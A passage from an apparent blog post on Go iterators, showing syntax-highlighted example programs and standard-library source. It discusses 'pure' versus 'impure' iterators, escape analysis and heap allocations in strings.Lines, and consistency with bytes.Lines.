</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">return</span> <span style="color:#66d9ef">func</span>(<span style="color:#a6e22e">yield</span> <span style="color:#66d9ef">func</span>(<span style="color:#a6e22e">n</span> <span style="color:#66d9ef">int</span>) <span style="color:#66d9ef">bool</span>) {
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">if</span> <span style="color:#a6e22e">n</span> &gt; <span style="color:#ae81ff">1</span> {
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">return</span>
</span></span><span style="display:flex;"><span>		}
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">for</span> <span style="color:#a6e22e">a</span>, <span style="color:#a6e22e">b</span> <span style="color:#f92672">:=</span> <span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">1</span>; <span style="color:#a6e22e">yield</span>(<span style="color:#a6e22e">a</span>); <span style="color:#a6e22e">a</span>, <span style="color:#a6e22e">b</span> = <span style="color:#a6e22e">b</span>, <span style="color:#a6e22e">a</span><span style="color:#f92672">+</span><span style="color:#a6e22e">b</span> {
</span></span><span style="display:flex;"><span>			<span style="color:#75715e">// deliberately empty body</span>
</span></span><span style="display:flex;"><span>		}
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">n</span><span style="color:#f92672">++</span>
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">func</span> <span style="color:#a6e22e">main</span>() {
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">seq</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">fib2</span>()
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">for</span> <span style="color:#a6e22e">n</span> <span style="color:#f92672">:=</span> <span style="color:#66d9ef">range</span> <span style="color:#a6e22e">seq</span> {
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">if</span> <span style="color:#a6e22e">n</span> &gt; <span style="color:#ae81ff">10</span> {
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">break</span>
</span></span><span style="display:flex;"><span>		}
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">fmt</span>.<span style="color:#a6e22e">Printf</span>(<span style="color:#e6db74">&#34;%d &#34;</span>, <span style="color:#a6e22e">n</span>)
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">fmt</span>.<span style="color:#a6e22e">Println</span>()
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">for</span> <span style="color:#a6e22e">n</span> <span style="color:#f92672">:=</span> <span style="color:#66d9ef">range</span> <span style="color:#a6e22e">seq</span> {
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">if</span> <span style="color:#a6e22e">n</span> &gt; <span style="color:#ae81ff">100</span> {
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">break</span>
</span></span><span style="display:flex;"><span>		}
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">fmt</span>.<span style="color:#a6e22e">Printf</span>(<span style="color:#e6db74">&#34;%d &#34;</span>, <span style="color:#a6e22e">n</span>)
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">fmt</span>.<span style="color:#a6e22e">Println</span>()
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">for</span> <span style="color:#a6e22e">n</span> <span style="color:#f92672">:=</span> <span style="color:#66d9ef">range</span> <span style="color:#a6e22e">seq</span> {
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">if</span> <span style="color:#a6e22e">n</span> &gt; <span style="color:#ae81ff">1000</span> {
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">break</span>
</span></span><span style="display:flex;"><span>		}
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">fmt</span>.<span style="color:#a6e22e">Printf</span>(<span style="color:#e6db74">&#34;%d &#34;</span>, <span style="color:#a6e22e">n</span>)
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>Output:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>0 1 1 2 3 5 8 
</span></span><span style="display:flex;"><span>0 1 1 2 3 5 8 13 21 34 55 89 
</span></span></code></pre></div><p>And, in the program below, the iterator resulting from <code>fib3</code>
(<a href="https://go.dev/play/p/rQnBcNTN2VR" target="_blank" rel="noopener">playground</a>) could reasonably be described as &ldquo;usable twice&rdquo; and
&ldquo;resumable&rdquo;:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#f92672">package</span> <span style="color:#a6e22e">main</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> (
</span></span><span style="display:flex;"><span>	<span style="color:#e6db74">&#34;fmt&#34;</span>
</span></span><span style="display:flex;"><span>	<span style="color:#e6db74">&#34;iter&#34;</span>
</span></span><span style="display:flex;"><span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">func</span> <span style="color:#a6e22e">fib3</span>() <span style="color:#a6e22e">iter</span>.<span style="color:#a6e22e">Seq</span>[<span style="color:#66d9ef">int</span>] {
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">var</span> <span style="color:#a6e22e">n</span> <span style="color:#66d9ef">int</span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">a</span>, <span style="color:#a6e22e">b</span> <span style="color:#f92672">:=</span> <span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">return</span> <span style="color:#66d9ef">func</span>(<span style="color:#a6e22e">yield</span> <span style="color:#66d9ef">func</span>(<span style="color:#a6e22e">n</span> <span style="color:#66d9ef">int</span>) <span style="color:#66d9ef">bool</span>) {
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">if</span> <span style="color:#a6e22e">n</span> &gt; <span style="color:#ae81ff">1</span> {
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">return</span>
</span></span><span style="display:flex;"><span>		}
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">for</span> ; <span style="color:#a6e22e">yield</span>(<span style="color:#a6e22e">a</span>); <span style="color:#a6e22e">a</span>, <span style="color:#a6e22e">b</span> = <span style="color:#a6e22e">b</span>, <span style="color:#a6e22e">a</span><span style="color:#f92672">+</span><span style="color:#a6e22e">b</span> {
</span></span><span style="display:flex;"><span>			<span style="color:#75715e">// deliberately empty body</span>
</span></span><span style="display:flex;"><span>		}
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">n</span><span style="color:#f92672">++</span>
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">func</span> <span style="color:#a6e22e">main</span>() {
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">seq</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">fib3</span>()
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">for</span> <span style="color:#a6e22e">n</span> <span style="color:#f92672">:=</span> <span style="color:#66d9ef">range</span> <span style="color:#a6e22e">seq</span> {
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">if</span> <span style="color:#a6e22e">n</span> &gt; <span style="color:#ae81ff">10</span> {
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">break</span>
</span></span><span style="display:flex;"><span>		}
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">fmt</span>.<span style="color:#a6e22e">Printf</span>(<span style="color:#e6db74">&#34;%d &#34;</span>, <span style="color:#a6e22e">n</span>)
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">fmt</span>.<span style="color:#a6e22e">Println</span>()
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">for</span> <span style="color:#a6e22e">n</span> <span style="color:#f92672">:=</span> <span style="color:#66d9ef">range</span> <span style="color:#a6e22e">seq</span> {
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">if</span> <span style="color:#a6e22e">n</span> &gt; <span style="color:#ae81ff">100</span> {
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">break</span>
</span></span><span style="display:flex;"><span>		}
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">fmt</span>.<span style="color:#a6e22e">Printf</span>(<span style="color:#e6db74">&#34;%d &#34;</span>, <span style="color:#a6e22e">n</span>)
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">fmt</span>.<span style="color:#a6e22e">Println</span>()
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">for</span> <span style="color:#a6e22e">n</span> <span style="color:#f92672">:=</span> <span style="color:#66d9ef">range</span> <span style="color:#a6e22e">seq</span> {
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">if</span> <span style="color:#a6e22e">n</span> &gt; <span style="color:#ae81ff">1000</span> {
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">break</span>
</span></span><span style="display:flex;"><span>		}
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">fmt</span>.<span style="color:#a6e22e">Printf</span>(<span style="color:#e6db74">&#34;%d &#34;</span>, <span style="color:#a6e22e">n</span>)
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>Output:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>0 1 1 2 3 5 8 
</span></span><span style="display:flex;"><span>13 21 34 55 89 
</span></span></code></pre></div><p>I&rsquo;m sure you could think of more variations around this theme.
As soon as function purity goes out the window, the possibilities are endless.</p>
<h2 id="should-iterators-be-pure-whenever-possible">Should iterators be &ldquo;pure&rdquo; whenever possible? <a href="#should-iterators-be-pure-whenever-possible">¶</a></h2>
<p>Another question arises: if &ldquo;pure&rdquo; iterators are easier to reason about than
&ldquo;impure&rdquo; ones are, shouldn&rsquo;t iterators be designed as &ldquo;pure&rdquo; whenever possible?</p>
<h3 id="performance-considerations">Performance considerations <a href="#performance-considerations">¶</a></h3>
<p>Perhaps they should, at least when we emphasise performance as a design
criterion.  &ldquo;Pure&rdquo; iterators indeed tend to incur fewer heap allocations than
their &ldquo;impure&rdquo; counterparts do.  Consider <a href="https://pkg.go.dev/strings#Lines" target="_blank" rel="noopener"><code>strings.Lines</code></a> as a
case study; shown below is <a href="https://cs.opensource.google/go/go/&#43;/refs/tags/go1.24.3:src/strings/iter.go;l=18" target="_blank" rel="noopener">its source code in Go
1.24.3</a>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#75715e">// Lines returns an iterator over the newline-terminated lines in the string s.</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">// The lines yielded by the iterator include their terminating newlines.</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">// If s is empty, the iterator yields no lines at all.</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">// If s does not end in a newline, the final yielded line will not end in a newline.</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">// It returns a single-use iterator.</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">func</span> <span style="color:#a6e22e">Lines</span>(<span style="color:#a6e22e">s</span> <span style="color:#66d9ef">string</span>) <span style="color:#a6e22e">iter</span>.<span style="color:#a6e22e">Seq</span>[<span style="color:#66d9ef">string</span>] {
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">return</span> <span style="color:#66d9ef">func</span>(<span style="color:#a6e22e">yield</span> <span style="color:#66d9ef">func</span>(<span style="color:#66d9ef">string</span>) <span style="color:#66d9ef">bool</span>) {
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">for</span> len(<span style="color:#a6e22e">s</span>) &gt; <span style="color:#ae81ff">0</span> {
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">var</span> <span style="color:#a6e22e">line</span> <span style="color:#66d9ef">string</span>
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">if</span> <span style="color:#a6e22e">i</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">IndexByte</span>(<span style="color:#a6e22e">s</span>, <span style="color:#e6db74">&#39;\n&#39;</span>); <span style="color:#a6e22e">i</span> <span style="color:#f92672">&gt;=</span> <span style="color:#ae81ff">0</span> {
</span></span><span style="display:flex;"><span>				<span style="color:#a6e22e">line</span>, <span style="color:#a6e22e">s</span> = <span style="color:#a6e22e">s</span>[:<span style="color:#a6e22e">i</span><span style="color:#f92672">+</span><span style="color:#ae81ff">1</span>], <span style="color:#a6e22e">s</span>[<span style="color:#a6e22e">i</span><span style="color:#f92672">+</span><span style="color:#ae81ff">1</span>:]
</span></span><span style="display:flex;"><span>			} <span style="color:#66d9ef">else</span> {
</span></span><span style="display:flex;"><span>				<span style="color:#a6e22e">line</span>, <span style="color:#a6e22e">s</span> = <span style="color:#a6e22e">s</span>, <span style="color:#e6db74">&#34;&#34;</span>
</span></span><span style="display:flex;"><span>			}
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">if</span> !<span style="color:#a6e22e">yield</span>(<span style="color:#a6e22e">line</span>) {
</span></span><span style="display:flex;"><span>				<span style="color:#66d9ef">return</span>
</span></span><span style="display:flex;"><span>			}
</span></span><span style="display:flex;"><span>		}
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">return</span>
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>The resulting iterator is &ldquo;impure&rdquo; because it mutates <code>s</code>, which happens to be
its only free variable.  As a consequence of <a href="https://github.com/golang/go/blob/master/src/cmd/compile/README.md" target="_blank" rel="noopener">escape analysis</a>,
<code>s</code> escapes to the heap:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>$ go build -gcflags<span style="color:#f92672">=</span><span style="color:#e6db74">&#39;-m=2&#39;</span> ./strings
</span></span><span style="display:flex;"><span>-snip-
</span></span><span style="display:flex;"><span>strings/iter.go:18:12: s escapes to heap:
</span></span><span style="display:flex;"><span>-snip-
</span></span></code></pre></div><p>But <code>strings.Lines</code> could instead have been designed to produce a &ldquo;pure&rdquo;
iterator:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-diff" data-lang="diff"><span style="display:flex;"><span> func Lines(s string) iter.Seq[string] {
</span></span><span style="display:flex;"><span>        return func(yield func(string) bool) {
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">+               s := s // local copy!
</span></span></span><span style="display:flex;"><span>                for len(s) &gt; 0 {
</span></span><span style="display:flex;"><span>                        var line string
</span></span><span style="display:flex;"><span>                        if i := strings.IndexByte(s, &#39;\n&#39;); i &gt;= 0 {
</span></span><span style="display:flex;"><span>                                line, s = s[:i+1], s[i+1:]
</span></span><span style="display:flex;"><span>                        } else {
</span></span><span style="display:flex;"><span>                                line, s = s, &#34;&#34;
</span></span><span style="display:flex;"><span>                        }
</span></span><span style="display:flex;"><span>                        if !yield(line) {
</span></span><span style="display:flex;"><span>                                return
</span></span><span style="display:flex;"><span>                        }
</span></span><span style="display:flex;"><span>                }
</span></span><span style="display:flex;"><span>                return
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span> }
</span></span></code></pre></div><p>In this alternative version of <code>strings.Lines</code>, its <code>s</code> parameter remains a
free variable of the resulting iterator, but the iterator does not mutate that
variable; instead, the iterator exclusively operates on a local copy of the
source string.  With this simple change, escape analysis no longer concludes that variable <code>s</code>
needs escape to the heap, and one fewer memory allocation is required.
See <a href="https://github.com/golang/go/issues/73524#issuecomment-2837185259" target="_blank" rel="noopener">this related comment</a> by <a href="https://github.com/adonovan" target="_blank" rel="noopener">Alan Donovan</a> on GitHub.</p>
<h3 id="consistency-with-related-iterators">Consistency with related iterators <a href="#consistency-with-related-iterators">¶</a></h3>
<p>However, performance is only one possible design criterion: <a href="https://github.com/golang/go/issues/61901#issuecomment-2364733597" target="_blank" rel="noopener">as Ian Lance
Taylor shrewdly pointed out to me</a>, consistency in behaviour
with closely linked iterator factories is another. For example, <a href="https://pkg.go.dev/bytes" target="_blank" rel="noopener">package
<code>bytes</code></a> provides <a href="https://pkg.go.dev/bytes#Lines" target="_blank" rel="noopener">a function named <code>Lines</code></a> that&rsquo;s
analogous to <code>strings.Lines</code>; shown below is <a href="https://cs.opensource.google/go/go/&#43;/refs/tags/go1.24.3:src/bytes/iter.go;l=18" target="_blank" rel="noopener">its source code in Go
1.24.3</a>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#75715e">// Lines returns an iterator over the newline-terminated lines in the byte slice s.</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">// The lines yielded by the iterator include their terminating newlines.</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">// If s is empty, the iterator yields no lines at all.</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">// If s does not end in a newline, the final yielded line will not end in a newline.</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">// It returns a single-use iterator.</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">func</span> <span style="color:#a6e22e">Lines</span>(<span style="color:#a6e22e">s</span> []<span style="color:#66d9ef">byte</span>) <span style="color:#a6e22e">iter</span>.<span style="color:#a6e22e">Seq</span>[[]<span style="color:#66d9ef">byte</span>] {
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">return</span> <span style="color:#66d9ef">func</span>(<span style="color:#a6e22e">yield</span> <span style="color:#66d9ef">func</span>([]<span style="color:#66d9ef">byte</span>) <span style="color:#66d9ef">bool</span>) {
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">for</span> len(<span style="color:#a6e22e">s</span>) &gt; <span style="color:#ae81ff">0</span> {
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">var</span> <span style="color:#a6e22e">line</span> []<span style="color:#66d9ef">byte</span>
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">if</span> <span style="color:#a6e22e">i</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">IndexByte</span>(<span style="color:#a6e22e">s</span>, <span style="color:#e6db74">&#39;\n&#39;</span>); <span style="color:#a6e22e">i</span> <span style="color:#f92672">&gt;=</span> <span style="color:#ae81ff">0</span> {
</span></span><span style="display:flex;"><span>				<span style="color:#a6e22e">line</span>, <span style="color:#a6e22e">s</span> = <span style="color:#a6e22e">s</span>[:<span style="color:#a6e22e">i</span><span style="color:#f92672">+</span><span style="color:#ae81ff">1</span>], <span style="color:#a6e22e">s</span>[<span style="color:#a6e22e">i</span><span style="color:#f92672">+</span><span style="color:#ae81ff">1</span>:]
</span></span><span style="display:flex;"><span>			} <span style="color:#66d9ef">else</span> {
</span></span><span style="display:flex;"><span>				<span style="color:#a6e22e">line</span>, <span style="color:#a6e22e">s</span> = <span style="color:#a6e22e">s</span>, <span style="color:#66d9ef">nil</span>
</span></span><span style="display:flex;"><span>			}
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">if</span> !<span style="color:#a6e22e">yield</span>(<span style="color:#a6e22e">line</span>[:len(<span style="color:#a6e22e">line</span>):len(<span style="color:#a6e22e">line</span>)]) {
</span></span><span style="display:flex;"><span>				<span style="color:#66d9ef">return</span>
</span></span><span style="display:flex;"><span>			}
</span></span><span style="display:flex;"><span>		}
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">return</span>
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>As much as I&rsquo;d like to redesign <code>bytes.Lines</code> so as to make
its product &ldquo;pure&rdquo;, I can&rsquo;t think of an efficient way to do so. Contrary to strings, slices are mutable; moreover,
multiples slices can reference the same underlying array.  Therefore, even if
the resulting iterator were modified to operate on a local copy of
the source slice, it still wouldn&rsquo;t be &ldquo;pure&rdquo;, as demonstrated by the following
program (<a href="https://go.dev/play/p/aBiBsiw2xvq" target="_blank" rel="noopener">playground</a>):</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#f92672">package</span> <span style="color:#a6e22e">main</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> (
</span></span><span style="display:flex;"><span>	<span style="color:#e6db74">&#34;bytes&#34;</span>
</span></span><span style="display:flex;"><span>	<span style="color:#e6db74">&#34;fmt&#34;</span>
</span></span><span style="display:flex;"><span>	<span style="color:#e6db74">&#34;iter&#34;</span>
</span></span><span style="display:flex;"><span>	<span style="color:#e6db74">&#34;os&#34;</span>
</span></span><span style="display:flex;"><span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">func</span> <span style="color:#a6e22e">main</span>() {
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">src</span> <span style="color:#f92672">:=</span> []byte(<span style="color:#e6db74">&#34;foo\nbar\nbaz\n&#34;</span>)
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">seq</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">Lines</span>(<span style="color:#a6e22e">src</span>)
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">for</span> <span style="color:#a6e22e">s</span> <span style="color:#f92672">:=</span> <span style="color:#66d9ef">range</span> <span style="color:#a6e22e">seq</span> {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">os</span>.<span style="color:#a6e22e">Stdout</span>.<span style="color:#a6e22e">Write</span>(<span style="color:#a6e22e">s</span>)
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">for</span> <span style="color:#a6e22e">s</span> <span style="color:#f92672">:=</span> <span style="color:#66d9ef">range</span> <span style="color:#a6e22e">seq</span> { <span style="color:#75715e">// pass that mutates the source slice</span>
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">if</span> len(<span style="color:#a6e22e">s</span>) <span style="color:#f92672">==</span> <span style="color:#ae81ff">0</span> {
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">continue</span>
</span></span><span style="display:flex;"><span>		}
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">s</span>[<span style="color:#ae81ff">0</span>] = <span style="color:#e6db74">&#39;a&#39;</span>
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">fmt</span>.<span style="color:#a6e22e">Println</span>()
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">for</span> <span style="color:#a6e22e">s</span> <span style="color:#f92672">:=</span> <span style="color:#66d9ef">range</span> <span style="color:#a6e22e">seq</span> {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">os</span>.<span style="color:#a6e22e">Stdout</span>.<span style="color:#a6e22e">Write</span>(<span style="color:#a6e22e">s</span>)
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">func</span> <span style="color:#a6e22e">Lines</span>(<span style="color:#a6e22e">s</span> []<span style="color:#66d9ef">byte</span>) <span style="color:#a6e22e">iter</span>.<span style="color:#a6e22e">Seq</span>[[]<span style="color:#66d9ef">byte</span>] {
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">return</span> <span style="color:#66d9ef">func</span>(<span style="color:#a6e22e">yield</span> <span style="color:#66d9ef">func</span>([]<span style="color:#66d9ef">byte</span>) <span style="color:#66d9ef">bool</span>) {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">s</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">s</span> <span style="color:#75715e">// local copy</span>
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">for</span> len(<span style="color:#a6e22e">s</span>) &gt; <span style="color:#ae81ff">0</span> {
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">var</span> <span style="color:#a6e22e">line</span> []<span style="color:#66d9ef">byte</span>
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">if</span> <span style="color:#a6e22e">i</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">bytes</span>.<span style="color:#a6e22e">IndexByte</span>(<span style="color:#a6e22e">s</span>, <span style="color:#e6db74">&#39;\n&#39;</span>); <span style="color:#a6e22e">i</span> <span style="color:#f92672">&gt;=</span> <span style="color:#ae81ff">0</span> {
</span></span><span style="display:flex;"><span>				<span style="color:#a6e22e">line</span>, <span style="color:#a6e22e">s</span> = <span style="color:#a6e22e">s</span>[:<span style="color:#a6e22e">i</span><span style="color:#f92672">+</span><span style="color:#ae81ff">1</span>], <span style="color:#a6e22e">s</span>[<span style="color:#a6e22e">i</span><span style="color:#f92672">+</span><span style="color:#ae81ff">1</span>:]
</span></span><span style="display:flex;"><span>			} <span style="color:#66d9ef">else</span> {
</span></span><span style="display:flex;"><span>				<span style="color:#a6e22e">line</span>, <span style="color:#a6e22e">s</span> = <span style="color:#a6e22e">s</span>, <span style="color:#66d9ef">nil</span>
</span></span><span style="display:flex;"><span>			}
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">if</span> !<span style="color:#a6e22e">yield</span>(<span style="color:#a6e22e">line</span>[:len(<span style="color:#a6e22e">line</span>):len(<span style="color:#a6e22e">line</span>)]) {
</span></span><span style="display:flex;"><span>				<span style="color:#66d9ef">return</span>
</span></span><span style="display:flex;"><span>			}
</span></span><span style="display:flex;"><span>		}
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">return</span>
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>Output:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>foo
</span></span><span style="display:flex;"><span>bar
</span></span><span style="display:flex;"><span>baz
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>aoo
</span></span><span style="display:flex;"><span>aar
</span></span><span style="display:flex;"><span>aaz
</span></span></code></pre></div><p>For <code>bytes.Lines</code> to produce a pure iterator, a &ldquo;deep&rdquo; copy of the source slice
(i.e. a slice that would reference a clone of the source slice&rsquo;s backing array)
would be required (<a href="https://go.dev/play/p/hj_NKtR482P" target="_blank" rel="noopener">playground</a>); and such an approach
seems to me like it would defeat the purpose of iterators.</p>
<p>If <code>bytes.Lines</code> can&rsquo;t easily be designed to produce a &ldquo;pure&rdquo; iterator,
<code>strings.Lines</code> should arguably still return an &ldquo;impure&rdquo; iterator as well.  In
general, should iterator &ldquo;purity&rdquo; be pursued at all costs, or should
consistency with related iterators be a factor?  The jury is still out.</p>
<h2 id="conclusion">Conclusion <a href="#conclusion">¶</a></h2>
<p>As <a href="https://github.com/aclements" target="_blank" rel="noopener">Austin Clements</a> <a href="https://github.com/golang/go/issues/71901" target="_blank" rel="noopener">recently wrote</a>:</p>
<blockquote>
<p>Iterators are still young in Go [&hellip;]</p>
</blockquote>
<p>Conventions around iterators have not yet been firmly established, let alone
percolated through the Go community; there is still room for experimentation
and time to iron the terminology kinks out.  The sooner, the better, though, if
you ask me.</p>
<h2 id="acknowledgments">Acknowledgments <a href="#acknowledgments">¶</a></h2>
<p>Thanks to <a href="https://hachyderm.io/@deleplace" target="_blank" rel="noopener">Valentin Deleplace</a> for <a href="https://bsky.app/profile/jub0bs.com/post/3lchwvaets22s" target="_blank" rel="noopener">spurring me to write this
post</a> and for reviewing an early draft of it.</p>
<h2 id="appendix-refresher-on-closures">Appendix: refresher on closures <a href="#appendix-refresher-on-closures">¶</a></h2>
<p>A <a href="https://en.wikipedia.org/wiki/Closure_%28computer_programming%29" target="_blank" rel="noopener">closure</a> is a function that <em>captures</em> variables declared in an
outer lexical scope. Such variables are called <em>free variables</em> of the function
in question.  In the following example, anonymous function <code>f</code> reads a variable
named <code>truth</code> that is declared in the <code>main</code> function:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#f92672">package</span> <span style="color:#a6e22e">main</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> <span style="color:#e6db74">&#34;fmt&#34;</span>
</span></span><span style="display:flex;"><span>
